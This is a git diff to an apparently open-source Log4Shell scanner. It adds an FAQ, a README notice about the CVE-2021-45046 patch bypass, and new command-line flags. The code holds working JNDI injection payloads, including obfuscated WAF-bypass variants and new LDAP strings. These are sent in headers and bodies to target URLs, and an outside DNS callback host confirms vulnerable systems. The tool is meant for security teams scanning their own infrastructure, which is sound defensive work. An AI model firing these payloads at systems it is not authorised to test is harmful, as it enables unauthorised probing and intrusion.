diff --git a/FAQ.md b/FAQ.md new file mode 100644 index 0000000..3c64947 --- /dev/null +++ b/FAQ.md @@ -0,0 +1,41 @@ +# Frequently Asked Questions + +## DNS callback error + +``` +Traceback (most recent call last): +File "/Users/user/src/log4j-scan/log4j-scan.py", line 362, in +main() +File "/Users/user/src/log4j-scan/log4j-scan.py", line 332, in main +dns_callback = Interactsh() +File "/Users/darkcode/src/log4j-scan/log4j-scan.py", line 195, in init +self.register() +File "/Users/user/src/log4j-scan/log4j-scan.py", line 206, in register +raise Exception("Can not initiate interact.sh DNS callback client") +Exception: Can not initiate interact.sh DNS callback client +``` + +It means that the DNS callback provider is down, it's blocked on your network, or you can not connect to the DNS callback provider due to networking issues. You can use an different DNS Callback provider (eg.. with `--dns-callback-provider dnslog.cn`), or you can use a custom DNS callback host with ` --custom-dns-callback-host`. + +--- + +## Running with Python 2 + +``` +File "log4j-scan.py", line 136 +fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}' +``` + +It should be related to Python 2 compatibility. The tool requires a modern version of Python 3. + +--- + +# Dependencies issue + +``` +File "/home/parallels/Log4j-RCE-Scanner/log4j-scan/log4j-scan.py", line 22, in +from Crypto.Cipher import AES, PKCS1_OAEP +ModuleNotFoundError: No module named 'Crypto' +``` + +This should be related to Pycrypto. Please install the latest Python PyCryptodome version. If you're still facing dependencies issues, you can use the Docker image. \ No newline at end of file diff --git a/README.md b/README.md index 78a8d6c..9e22dc9 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,15 @@ - Supports DNS callback for vulnerability discovery and validation. - WAF Bypass payloads. +--- +# 🚨 Announcement + +There is a patch bypass on Log4J v2.15.0 that allows a full RCE. FullHunt added community support for log4j-scan to reliably detect CVE-2021-45046. If you're having difficulty discovering and scanning your infrastructure at scale or keeping up with the Log4J threat, please get in touch at (team@fullhunt.io). + +![](https://dkh9ehwkisc4.cloudfront.net/static/files/d385f9d8-e2b1-4d72-b9c2-a62c4c1c34a0-Screenshot-cve-2021-45046-demo.png) + +--- + # Description We have been researching the Log4J RCE (CVE-2021-44228) since it was released, and we worked in preventing this vulnerability with our customers. We are open-sourcing an open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. This shall be used by security teams to scan their infrastructure for Log4J RCE, and also test for WAF bypasses that can result in achiving code execution on the organization's environment. @@ -22,7 +31,6 @@ It supports DNS OOB callbacks out of the box, there is no need to setup a DNS ca - # Usage ```python @@ -37,7 +45,8 @@ optional arguments: -h, --help show this help message and exit -u URL, --url URL Check a single URL. -p PROXY, --proxy PROXY - Send requests through proxy. + Send requests through proxy. proxy should be specified in the format supported by requests + (http[s]://:) -l USEDLIST, --list USEDLIST Check a list of URLs. --request-type REQUEST_TYPE @@ -50,10 +59,14 @@ optional arguments: --wait-time WAIT_TIME Wait time after all URLs are processed (in seconds) - [Default: 5]. --waf-bypass Extend scans with WAF bypass payloads. + --test-CVE-2021-45046 + Test using payloads for CVE-2021-45046 (detection payloads). --dns-callback-provider DNS_CALLBACK_PROVIDER DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh]. --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST Custom DNS Callback Host. + --disable-http-redirects + Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems. ``` ## Scan a Single URL diff --git a/log4j-scan.py b/log4j-scan.py index b63ab36..120f07e 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -57,7 +57,15 @@ "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}", "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}", - "${jndi:dns://{{callback_host}}}"] + "${jndi:dns://{{callback_host}}}", + ] + +cve_2021_45046 = [ + "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995, + "${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}", + "${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}" + ] + parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", @@ -100,6 +108,10 @@ dest="waf_bypass_payloads", help="Extend scans with WAF bypass payloads.", action='store_true') +parser.add_argument("--test-CVE-2021-45046", + dest="cve_2021_45046", + help="Test using payloads for CVE-2021-45046 (detection payloads).", + action='store_true') parser.add_argument("--dns-callback-provider", dest="dns_callback_provider", help="DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].", @@ -109,6 +121,10 @@ dest="custom_dns_callback_host", help="Custom DNS Callback Host.", action='store') +parser.add_argument("--disable-http-redirects", + dest="disable_redirects", + help="Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems.", + action='store_true') args = parser.parse_args() @@ -148,15 +164,27 @@ def generate_waf_bypass_payloads(callback_host, random_string): payloads.append(new_payload) return payloads +def get_cve_2021_45046_payloads(callback_host, random_string): + payloads = [] + for i in cve_2021_45046: + new_payload = i.replace("{{callback_host}}", callback_host) + new_payload = new_payload.replace("{{random}}", random_string) + payloads.append(new_payload) + return payloads + class Dnslog(object): def __init__(self): self.s = requests.session() - req = self.s.get("http://www.dnslog.cn/getdomain.php", timeout=30) + req = self.s.get("http://www.dnslog.cn/getdomain.php", + proxies=proxies, + timeout=30) self.domain = req.text def pull_logs(self): - req = self.s.get("http://www.dnslog.cn/getrecords.php", timeout=30) + req = self.s.get("http://www.dnslog.cn/getrecords.php", + proxies=proxies, + timeout=30) return req.json() @@ -182,6 +210,8 @@ def __init__(self, token="", server=""): self.session = requests.session() self.session.headers = self.headers + self.session.verify = False + self.session.proxies = proxies self.register() def register(self): @@ -255,6 +285,10 @@ def scan_url(url, callback_host): payloads = [payload] if args.waf_bypass_payloads: payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)) + if args.cve_2021_45046: + cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow") + payloads = get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string) + for payload in payloads: cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan") if args.request_type.upper() == "GET" or args.run_all_tests: @@ -265,6 +299,7 @@ def scan_url(url, callback_host): headers=get_fuzzing_headers(payload), verify=False, timeout=timeout, + allow_redirects=(not args.disable_redirects), proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") @@ -279,6 +314,7 @@ def scan_url(url, callback_host): data=get_fuzzing_post_data(payload), verify=False, timeout=timeout, + allow_redirects=(not args.disable_redirects), proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") @@ -292,6 +328,7 @@ def scan_url(url, callback_host): json=get_fuzzing_post_data(payload), verify=False, timeout=timeout, + allow_redirects=(not args.disable_redirects), proxies=proxies) except Exception as e: cprint(f"EXCEPTION: {e}") @@ -334,7 +371,7 @@ def main(): cprint("[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.", "cyan") cprint("[•] Waiting...", "cyan") - time.sleep(args.wait_time) + time.sleep(int(args.wait_time)) records = dns_callback.pull_logs() if len(records) == 0: cprint("[•] Targets does not seem to be vulnerable.", "green")